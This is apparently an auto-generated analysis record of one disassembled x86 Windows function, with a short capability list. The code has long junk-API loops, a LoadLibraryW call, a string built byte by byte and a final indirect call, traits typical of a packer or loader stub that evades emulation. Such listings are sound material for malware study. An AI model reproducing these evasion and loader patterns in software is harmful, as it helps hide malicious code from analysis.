Function at 0x41c9b4
Capabilities:
Read .ini file
Set current directory
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x83c
push ebx
push esi
mov eax, 0x424b90
push edi
lea edx, [eax + 1]
xor ebx, ebx
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x41c9ca
sub eax, edx
cmp eax, 0xbe943
jne 0x41c9ea
push ebx
call fcn.00401095
pop ecx
push ebx
push ebx
call fcn.00401006
pop ecx
pop ecx
cmp dword [0x2f7fcd4], 0xecd
jne 0x41ca01
push 0x2f7fcd8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x42134c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x2f7fcd0], eax
xor esi, esi
cmp esi, 0x4932
jge 0x41ca23
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetAncestor]
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
cmp dword [0x2f7fcd4], 0x769
jne 0x41ca48
push ebx
lea eax, [ebp - 0x43c]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProfileStringA]
inc esi
cmp esi, 0x2bd9da
mov dword [0x2f6e1e4], ebx
jl 0x41ca13
xor esi, esi
cmp esi, 0x291c7
jne 0x41ca6b
mov eax, dword [0x423d1c]
mov dword [0x2f7fcd4], eax
cmp dword [0x2f7fcd4], 0xa0d
jne 0x41ca7f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc esi
cmp esi, 0x499677
jl 0x41ca59
xor esi, esi
cmp esi, 0x5cc88
jne 0x41ca9c
add dword [0x2f7fcd4], 0xa2401
cmp dword [0x2f7fcd4], 0x5b5
jne 0x41cab0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
inc esi
cmp esi, 0x497e0f
jl 0x41ca8a
mov esi, dword [sym.imp.KERNEL32.dll_GetLocalTime]
xor edi, edi
cmp dword [0x2f7fcd4], 0xfc
jne 0x41cad0
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x2f7fcd4], 0xe7c
jne 0x41caf6
push ebx
call esi
push ebx
push ebx
lea eax, [ebp - 0x83c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp edi, 0x18f9a6
jle 0x41cb10
cmp dword [ebp - 0x28], 0x8a392
je 0x41cb10
cmp dword [ebp - 4], 0x14d7d90a
jne 0x41cb19
inc edi
cmp edi, 0x3532b7b1
jl 0x41cac1
call fcn.0041c748
xor edi, edi
cmp edi, 0x5aa4a
jne 0x41cb3e
push str.kernel32.dll
push 0x2f7fcd8
mov byte [0x424b90], bl
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
inc edi
cmp edi, 0x10841
jl 0x41cb20
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 0xe6fb57
jne 0x41cb5d
mov eax, dword [0x423c48]
mov dword [0x2fab664], eax
cmp dword [0x2f7fcd4], 0x13f5
jne 0x41cb9d
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
xor eax, eax
mov word [ebp - 0x14], ax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push ebx
call esi
push ebx
lea eax, [ebp - 0x43c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x3230176c
jl 0x41cb4a
xor edi, edi
cmp dword [0x2f7fcd4], ebx
jbe 0x41cbed
cmp dword [0x2f7fcd4], 0xc29
jne 0x41cbc9
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
call fcn.0041c7a0
cmp dword [0x2f7fcd4], 0xbc1
jne 0x41cbe4
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
inc edi
cmp edi, dword [0x2f7fcd4]
jb 0x41cbb3
mov esi, 0xe972f0
cmp dword [0x2f7fcd4], 0x94d
jne 0x41cc0d
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
dec esi
jne 0x41cbf2
mov byte [0x424b90], 0x56
mov byte [0x424b91], 0x69
cmp esi, 0xd26c
jne 0x41cc2b
call fcn.0041c75c
cmp dword [0x2f7fcd4], 0x462
jne 0x41cc40
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
inc esi
cmp esi, 0x3dc4a3
jl 0x41cc1e
call fcn.0041c934
xor esi, esi
cmp dword [0x2f7fcd4], 0x768
jne 0x41cc73
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp esi, 0x4f3b6
jne 0x41cc80
call fcn.0041c795
inc esi
cmp esi, 0x3e7a3
jl 0x41cc50
mov esi, 0xdd9a7
cmp dword [0x2f7fcd4], 0xfe9
jne 0x41cca5
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
dec esi
jne 0x41cc8e
call dword [0x2f6e1dc]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret